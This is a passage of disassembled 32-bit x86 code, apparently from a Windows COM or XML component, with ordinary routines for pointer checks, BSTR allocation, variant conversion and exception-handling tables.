loc_69B3C056:				; CODE XREF: sub_69B3C00A+41j
		mov	esi, 80004003h


loc_69B3C05B:				; CODE XREF: sub_69B3C00A+4Aj
		lea	ecx, [ebp+var_4]
		call	sub_69B1948C
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3C075:				; CODE XREF: sub_69B3C00A+18j
		pop	edi
		leave
		retn	8
sub_69B3C00A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C07A	proc near		; DATA XREF: .text:69B123C4o
		push	28h
		push	offset dword_69B3C158
		call	sub_69B19C5C
		mov	ebx, [ebp+10h]
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B3C099
		mov	eax, 80004003h
		jmp	loc_69B3C14C
; ---------------------------------------------------------------------------


loc_69B3C099:				; CODE XREF: sub_69B3C07A+13j
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jnz	short loc_69B3C0B0
		mov	eax, 80004005h
		jmp	loc_69B3C14C
; ---------------------------------------------------------------------------


loc_69B3C0B0:				; CODE XREF: sub_69B3C07A+2Aj
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi
		push	0FFFFFFFFh	; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B3BD45
		mov	[ebp-30h], eax
		push	edi
		lea	ecx, [ebp-34h]
		push	ecx
		push	edi
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B3BE6D
		test	al, al
		jz	short loc_69B3C106
		mov	ecx, [ebp-34h]
		cmp	ecx, edi
		jz	short loc_69B3C106
		call	sub_69B48B01
		mov	[ebx], eax
		jmp	short loc_69B3C108
; ---------------------------------------------------------------------------


loc_69B3C106:				; CODE XREF: sub_69B3C07A+7Aj
					; sub_69B3C07A+81j
		mov	[ebx], edi


loc_69B3C108:				; CODE XREF: sub_69B3C07A+8Aj
		mov	[ebp-38h], edi
		jmp	short loc_69B3C12D
; ---------------------------------------------------------------------------


loc_69B3C10D:				; DATA XREF: .text:69B3C15Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3C116:				; DATA XREF: .text:69B3C160o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B3C12D:				; CODE XREF: sub_69B3C07A+91j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B3C14C:				; CODE XREF: sub_69B3C07A+1Aj
					; sub_69B3C07A+31j
		call	sub_69B1853C
		retn	0Ch
sub_69B3C07A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B3C158	dd 0FFFFFFFFh			dd offset loc_69B3C10D
		dd offset loc_69B3C116

; =============== S U B	R O U T	I N E =======================================



sub_69B3C164	proc near		; CODE XREF: sub_69B3CA88+3p
		mov	dword ptr [ecx-4], offset off_69B12350
		mov	dword ptr [ecx], offset	off_69B278F4
		mov	ecx, [ecx+0Ch]
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		jmp	sub_69B2C65C
sub_69B3C164	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C17F	proc near		; CODE XREF: sub_69B3CA5C+3p
					; sub_69B54ADC+3p
		push	esi
		mov	esi, ecx
		push	offset dword_69B2AFD0
		lea	ecx, [esi+4]
		call	sub_69B1D9B7
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn
sub_69B3C17F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C198	proc near		; CODE XREF: sub_69B3C634+1C6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		push	10h
		call	sub_69B8AE52
		mov	esi, eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]
		push	[esp+8+arg_4]
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		mov	eax, [esp+8+arg_8]
		push	[esp+8+arg_C]
		mov	[esi+8], eax
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	10h
sub_69B3C198	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C1D4	proc near		; CODE XREF: sub_69B3C574+5Bp
					; sub_69B3C634+1B5p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		push	[esp+10h+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B8AB3E
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_69B3C20E
		push	ebx
		push	esi
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		mov	[esi+8], ebx
		push	ebx
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		dec	dword ptr [edi+0Ch]


loc_69B3C20E:				; CODE XREF: sub_69B3C1D4+17j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B3C1D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C214	proc near		; CODE XREF: sub_69B3C888+C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, [eax+4]
		mov	[ebp+var_4], ecx
		mov	ecx, [eax+0Ch]
		add	esi, 0Ch
		test	ecx, ecx
		jz	short loc_69B3C28B
		push	ebx
		mov	[ebp+arg_0], ecx
		push	edi


loc_69B3C231:				; CODE XREF: sub_69B3C214+73j
		xor	eax, eax
		jmp	short loc_69B3C238
; ---------------------------------------------------------------------------


loc_69B3C235:				; CODE XREF: sub_69B3C214+26j
		add	esi, 10h


loc_69B3C238:				; CODE XREF: sub_69B3C214+1Fj
		cmp	[esi], eax
		jz	short loc_69B3C235
		mov	ebx, [esi]
		mov	ecx, [ebp+var_4]
		push	eax
		push	ebx
		push	10h
		call	sub_69B8AB3E
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B3C263
		mov	ecx, [ebp+var_4]
		push	ebx
		push	10h
		call	sub_69B8AE52
		mov	edi, eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]


loc_69B3C263:				; CODE XREF: sub_69B3C214+3Aj
		lea	eax, [esi+4]
		push	eax
		lea	ecx, [edi+4]
		call	sub_69B4D414
		mov	eax, [esi+8]
		mov	[edi+8], eax
		lea	eax, [esi+0Ch]
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B4D414
		add	esi, 10h
		dec	[ebp+arg_0]
		jnz	short loc_69B3C231
		pop	edi
		pop	ebx


loc_69B3C28B:				; CODE XREF: sub_69B3C214+16j
		pop	esi
		leave
		retn	4
sub_69B3C214	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C290	proc near		; CODE XREF: sub_69B3CB11+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		mov	dword ptr [esi-0Ch], offset off_69B1236C
		mov	dword ptr [esi-8], offset off_69B2908C
		mov	dword ptr [esi], offset	off_69B27934
		mov	dword ptr [esi+0Ch], offset off_69B278F8
		call	sub_69B17230
		add	esi, 10h
		push	esi
		call	sub_69B2DEDD
		pop	esi
		jmp	sub_69B2C65C
sub_69B3C290	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B3C2C6(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B3C2C6	proc near		; DATA XREF: .text:69B27914o
					; .text:69B27988o

strIn		= dword	ptr  8
arg_8		= dword	ptr  0Ch
psz2		= dword	ptr  10h

		push	[esp+psz2]	; psz2
		push	[esp+4+arg_8]	; int
		push	[esp+8+strIn]	; strIn
		push	0		; char
		push	offset dword_69B984C0 ;	int
		call	sub_69B2CFAA
		retn	10h
sub_69B3C2C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C2E1	proc near		; DATA XREF: .text:69B27918o
					; .text:69B2798Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		add	eax, 0FFFFFFE8h
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	0
		push	offset dword_69B984C0
		push	eax
		call	sub_69B2C800
		pop	ebp
		retn	20h
sub_69B3C2E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C310	proc near		; CODE XREF: sub_69B5A13F+5j
					; sub_69B7470E+5Ap
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_20]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		add	eax, 4
		push	eax
		call	sub_69B2D36F
		pop	ebp
		retn	24h
sub_69B3C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C33C	proc near		; DATA XREF: .text:69B12398o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jnz	short loc_69B3C351
		mov	eax, 80004003h
		jmp	short loc_69B3C3CE
; ---------------------------------------------------------------------------


loc_69B3C351:				; CODE XREF: sub_69B3C33C+Cj
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B3C365
		mov	eax, 80004005h
		jmp	short loc_69B3C3CD
; ---------------------------------------------------------------------------


loc_69B3C365:				; CODE XREF: sub_69B3C33C+20j
		push	esi
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi+1Ch]
		lea	ecx, [ebp+var_10]
		push	ebx
		call	sub_69B18B3B
		mov	esi, [esi+20h]
		push	[ebp+arg_4]
		lea	ecx, [esi+0Ch]
		call	sub_69B8ABC7
		test	eax, eax
		jz	short loc_69B3C3AC
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		test	eax, eax
		mov	[edi], eax
		jnz	short loc_69B3C3A8
		mov	esi, 8007000Eh
		jmp	short loc_69B3C3BB
; ---------------------------------------------------------------------------


loc_69B3C3A8:				; CODE XREF: sub_69B3C33C+63j
		xor	esi, esi
		jmp	short loc_69B3C3BB
; ---------------------------------------------------------------------------


loc_69B3C3AC:				; CODE XREF: sub_69B3C33C+49j
		push	0C00CE226h
		call	sub_69B2D34C
		mov	esi, 80004005h


loc_69B3C3BB:				; CODE XREF: sub_69B3C33C+6Aj
					; sub_69B3C33C+6Ej
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3C3CD:				; CODE XREF: sub_69B3C33C+27j
		pop	ebx


loc_69B3C3CE:				; CODE XREF: sub_69B3C33C+13j
		pop	edi
		leave
		retn	0Ch
sub_69B3C33C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C3D3	proc near		; CODE XREF: .text:69B3CD1Aj
					; .text:69B3CD24j ...

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
punkOuter	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_C], eax
		jnz	short loc_69B3C3F0
		mov	eax, 80004005h
		jmp	locret_69B3C4BF
; ---------------------------------------------------------------------------


loc_69B3C3F0:				; CODE XREF: sub_69B3C3D3+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	[ebp+var_C]
		lea	ecx, [ebp+var_18]
		call	sub_69B1A8C7
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_69B3B7BC
		mov	ebx, 80004002h
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jnz	loc_69B3C4A9
		push	[ebp+arg_8]
		add	esi, 34h
		push	[ebp+arg_4]
		push	esi
		call	sub_69B88F8B
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jnz	short loc_69B3C4A9
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B030
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B3C488
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+punkOuter]
		push	eax
		push	offset stru_69B1CA6C
		push	esi
		call	sub_69B3B7BC
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	short loc_69B3C4A8
		push	[ebp+arg_8]	; int
		lea	ecx, [esi+74h]	; ppunkMarshal
		push	[ebp+arg_4]	; int
		push	[ebp+punkOuter]	; punkOuter
		call	sub_69B88245
		mov	[ebp+var_4], eax
		mov	eax, [ebp+punkOuter]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B3C4A8


loc_69B3C488:				; CODE XREF: sub_69B3C3D3+78j
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B278E4
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B3C4A8
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_69B17320
		and	[ebp+var_4], 0


loc_69B3C4A8:				; CODE XREF: sub_69B3C3D3+91j
					; sub_69B3C3D3+B3j ...
		pop	edi


loc_69B3C4A9:				; CODE XREF: sub_69B3C3D3+4Cj
					; sub_69B3C3D3+66j
		lea	ecx, [ebp+var_18]
		call	sub_69B1976C
		push	[ebp+var_C]
		call	dword_69B92944
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx

locret_69B3C4BF:			; CODE XREF: sub_69B3C3D3+18j
		leave
		retn	0Ch
sub_69B3C3D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B3C4C3	proc near		; DATA XREF: .text:69B123D0o

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		jnz	short loc_69B3C4DB
		mov	eax, 80004003h
		jmp	loc_69B3C56F
; ---------------------------------------------------------------------------


loc_69B3C4DB:				; CODE XREF: sub_69B3C4C3+Cj
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B3C4EF
		mov	eax, 80004005h
		jmp	short loc_69B3C56E
; ---------------------------------------------------------------------------


loc_69B3C4EF:				; CODE XREF: sub_69B3C4C3+23j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [ebp+arg_8]
		call	sub_69B1986C
		push	[ebp+arg_4]
		lea	ecx, [esi+3Ch]
		call	sub_69B3BEAE
		test	eax, eax
		jz	short loc_69B3C545
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		test	eax, eax
		mov	[edi], eax
		jnz	short loc_69B3C541
		mov	esi, 8007000Eh
		jmp	short loc_69B3C554
; ---------------------------------------------------------------------------


loc_69B3C541:				; CODE XREF: sub_69B3C4C3+75j
		xor	esi, esi
		jmp	short loc_69B3C554
; ---------------------------------------------------------------------------


loc_69B3C545:				; CODE XREF: sub_69B3C4C3+5Bj
		push	0C00CE226h
		call	sub_69B2D34C
		mov	esi, 80004005h


loc_69B3C554:				; CODE XREF: sub_69B3C4C3+7Cj
					; sub_69B3C4C3+80j
		lea	ecx, [ebp+arg_8]
		call	sub_69B1948C
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B3C56E:				; CODE XREF: sub_69B3C4C3+2Aj
		pop	ebx


loc_69B3C56F:				; CODE XREF: sub_69B3C4C3+13j
		pop	edi
		leave
		retn	0Ch
sub_69B3C4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3C574	proc near		; DATA XREF: .text:69B123C8o
		push	24h
		push	offset dword_69B3C628
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B3C597
		mov	eax, 80004005h
		jmp	loc_69B3C61B
; ---------------------------------------------------------------------------


loc_69B3C597:				; CODE XREF: sub_69B3C574+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		lea	eax, [esi+4Ch]
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B18E23
		and	dword ptr [ebp-4], 0
		push	0FFFFFFFFh	; int
		push	dword ptr [ebp+0Ch] ; lpString
		call	sub_69B3BD45
		mov	[ebp-30h], eax
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B3C1D4
		and	dword ptr [ebp-34h], 0
		jmp	short loc_69B3C5FB
; ---------------------------------------------------------------------------


loc_69B3C5DA:				; DATA XREF: .text:69B3C62Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3C5E3:				; DATA XREF: .text:69B3C630o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B3C5FB:				; CODE XREF: sub_69B3C574+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1900C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-34h]


loc_69B3C61B:				; CODE XREF: sub_69B3C574+1Ej
		call	sub_69B1853C
		retn	8
sub_69B3C574	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B3C628	dd 0FFFFFFFFh			dd offset loc_69B3C5DA
		dd offset loc_69B3C5E3

; =============== S U B	R O U T	I N E =======================================



sub_69B3C634	proc near		; CODE XREF: sub_69B3C888+11Bp
					; sub_69B3CB30+44p
		push	48h
		push	offset dword_69B3C870
		call	sub_69B19C5C
		mov	word ptr [ebp-28h], 1
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], ebx
		mov	eax, [ebp+0Ch]
		cmp	eax, ebx
		jz	short loc_69B3C667
		cmp	[eax], bx
		jz	short loc_69B3C667
		push	0FFFFFFFFh	; int
		push	eax		; lpString
		call	sub_69B3BD45
		jmp	short loc_69B3C66C
; ---------------------------------------------------------------------------


loc_69B3C667:				; CODE XREF: sub_69B3C634+22j
					; sub_69B3C634+27j
		mov	eax, dword_69B95A18


loc_69B3C66C:				; CODE XREF: sub_69B3C634+31j
		mov	[ebp-34h], eax
		push	8		; vt
		push	ebx		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		mov	edi, [ebp+10h]
		push	edi		; pvarSrc
		lea	eax, [ebp-28h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jnz	loc_69B3C752
		call	sub_69B1BCCF
		mov	esi, eax
		mov	[ebp-38h], esi
		lea	ecx, [esi+0Ch]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		push	eax
		mov	ecx, [ebp+8]
		add	ecx, 1Ch
		call	sub_69B89804
		xor	edi, edi
		inc	edi
		push	edi
		mov	ecx, esi
		call	sub_69B1D6A4
		mov	[esi+8Ch], bl
		mov	[esi+83h], bl
		mov	[esi+82h], bl
		mov	ecx, esi
		call	sub_69B3E0AB
		mov	[ebp-4], edi
		push	dword ptr [ebp-20h] ; lpString
		call	sub_69B1A587
		mov	[ebp-3Ch], eax
		mov	edx, [esi]
		push	ebx
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+50h]
		mov	[ebp-40h], ebx
		mov	[ebp-4], ebx
		jmp	short loc_69B3C71A
; ---------------------------------------------------------------------------


loc_69B3C6F1:				; DATA XREF: .text:69B3C880o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3C6FA:				; DATA XREF: .text:69B3C884o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-40h], eax
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	esi, [ebp-38h]


loc_69B3C71A:				; CODE XREF: sub_69B3C634+BBj
		push	dword ptr [ebp-40h]
		mov	ecx, esi
		call	sub_69B3E1E4
		mov	byte ptr [esi+0C9h], 1
		cmp	[ebp-40h], ebx
		jnz	loc_69B3C853
		mov	ecx, [esi+6Ch]
		mov	[ebp-44h], ecx
		mov	[ebp-48h], ecx
		cmp	ecx, ebx
		jz	short loc_69B3C746
		call	sub_69B2E875


loc_69B3C746:				; CODE XREF: sub_69B3C634+10Bj
		mov	ecx, esi
		call	sub_69B3D6C4
		mov	[ebp-2Ch], eax
		jmp	short loc_69B3C7BA
; ---------------------------------------------------------------------------


loc_69B3C752:				; CODE XREF: sub_69B3C634+55j
		push	edi
		call	sub_69B47D6F
		mov	esi, eax
		mov	[ebp-30h], esi
		cmp	esi, ebx
		jz	loc_69B3C801
		mov	edi, [esi+0Ch]
		mov	[ebp-4Ch], edi
		mov	[ebp-50h], edi
		mov	eax, [edi+40h]
		mov	[ebp-54h], eax
		cmp	eax, 4
		jz	short loc_69B3C78C
		push	ebx
		push	0C00CE22Bh
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B3C78C:				; CODE XREF: sub_69B3C634+143j
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jnz	short loc_69B3C7A1
		mov	ecx, edi
		call	sub_69B3D6C4
		mov	esi, eax
		mov	[ebp-30h], esi


loc_69B3C7A1:				; CODE XREF: sub_69B3C634+15Fj
		cmp	esi, ebx
		jz	short loc_69B3C81F
		mov	[ebp-2Ch], esi
		lea	eax, [ebp-2Ch]
		push	eax
		push	1
		mov	ecx, edi
		call	sub_69B3F90C
		mov	esi, eax
		mov	[ebp-38h], esi


loc_69B3C7BA:				; CODE XREF: sub_69B3C634+11Cj
		lea	eax, [esi+0ACh]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		push	ebx
		call	sub_69B8BEFC
		mov	[ebp-58h], eax
		push	ebx
		push	dword ptr [ebp-34h]
		push	dword ptr [ebp-2Ch]
		push	eax
		push	esi
		call	sub_69B5CB6E
		mov	edi, [ebp+8]
		add	edi, 3Ch
		push	dword ptr [ebp-34h]
		mov	ecx, edi
		call	sub_69B3C1D4
		push	dword ptr [ebp-58h]
		push	dword ptr [ebp-2Ch]
		push	esi
		push	dword ptr [ebp-34h]
		mov	ecx, edi
		call	sub_69B3C198
		jmp	short loc_69B3C82D
; ---------------------------------------------------------------------------


loc_69B3C801:				; CODE XREF: sub_69B3C634+12Bj
		mov	ax, [edi]
		cmp	ax, 1
		jz	short loc_69B3C81F
		cmp	ax, bx
		jz	short loc_69B3C81F
		cmp	ax, 0Ah
		jz	short loc_69B3C81F
		push	80070057h
		call	sub_69B2E8B8


loc_69B3C81F:				; CODE XREF: sub_69B3C634+16Fj
					; sub_69B3C634+1D4j ...
		push	dword ptr [ebp-34h]
		mov	ecx, [ebp+8]
		add	ecx, 3Ch
		call	sub_69B3C1D4


loc_69B3C82D:				; CODE XREF: sub_69B3C634+1CBj
		mov	[ebp-40h], ebx
		jmp	short loc_69B3C853
; ---------------------------------------------------------------------------


loc_69B3C832:				; DATA XREF: .text:69B3C874o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B3C83B:				; DATA XREF: .text:69B3C878o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-40h], eax


loc_69B3C853:				; CODE XREF: sub_69B3C634+FAj
					; sub_69B3C634+1FCj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-28h]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp-40h]
		call	sub_69B1853C
		retn	0Ch
sub_69B3C634	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B3C870	dd 0FFFFFFFFh			dd offset loc_69B3C832
		dd offset loc_69B3C83B
		align 10h
		dd offset loc_69B3C6F1
		dd offset loc_69B3C6FA

; =============== S U B	R O U T	I N E =======================================



sub_69B3C888	proc near		; DATA XREF: .text:69B123D4o
		push	40h
		push	offset dword_69B3CA50
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B3C8AD
		mov	eax, 80004005h
		jmp	loc_69B3CA41
; ---------------------------------------------------------------------------


loc_69B3C8AD:				; CODE XREF: sub_69B3C888+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], ebx
		mov	[ebp-30h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-38h], ebx
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B3C8DE
		mov	esi, 80004003h
		jmp	short loc_69B3C8E4
; ---------------------------------------------------------------------------


loc_69B3C8DE:				; CODE XREF: sub_69B3C888+4Dj
		cmp	edi, esi
		jnz	short loc_69B3C8FC
		xor	esi, esi


loc_69B3C8E4:				; CODE XREF: sub_69B3C888+54j
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, esi
		jmp	loc_69B3CA41
; ---------------------------------------------------------------------------


loc_69B3C8FC:				; CODE XREF: sub_69B3C888+58j
		mov	[ebp-4], ebx
		mov	eax, [edi]
		lea	ecx, [ebp-34h]
		push	ecx
		push	offset dword_69B278E4
		push	edi
		call	dword ptr [eax]
		test	eax, eax
		jnz	short loc_69B3C95A
		mov	edi, [ebp-34h]
		add	edi, 4Ch
		mov	[ebp-30h], edi


loc_69B3C91A:				; CODE XREF: sub_69B3C888+AEj
		push	0FFFFFFFFh	; dwMilliseconds
		mov	ecx, edi
		call	sub_69B18BDC
		lea	ecx, [esi+4Ch]
		call	sub_69B1808E
		test	al, al
		jnz	short loc_69B3C938
		mov	ecx, edi
		call	sub_69B18ED9
		jmp	short loc_69B3C91A
; ---------------------------------------------------------------------------


loc_69B3C938:				; CODE XREF: sub_69B3C888+A5j
		mov	dword ptr [ebp-2Ch], 1
		mov	eax, [ebp-34h]
		add	eax, 3Ch
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_69B3C214


loc_69B3C94E:				; CODE XREF: sub_69B3C888+FBj
		mov	[ebp-50h], ebx


loc_69B3C951:				; CODE XREF: sub_69B3C888+138j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B3C9FD
; ---------------------------------------------------------------------------


loc_69B3C95A:				; CODE XREF: sub_69B3C888+87j
		push	0FFFFFFFFh	; dwMilliseconds
		lea	ecx, [esi+4Ch]
		call	sub_69B18F8A
		mov	dword ptr [ebp-2Ch], 1
		mov	word ptr [ebp-48h], 0Dh
		mov	[ebp-4Ch], ebx


loc_69B3C974:				; CODE XREF: sub_69B3C888+149j
		mov	eax, [edi]
		lea	ecx, [ebp-38h]
		push	ecx
		push	dword ptr [ebp-4Ch]
		push	edi
		call	dword ptr [eax+2Ch]
		test	eax, eax
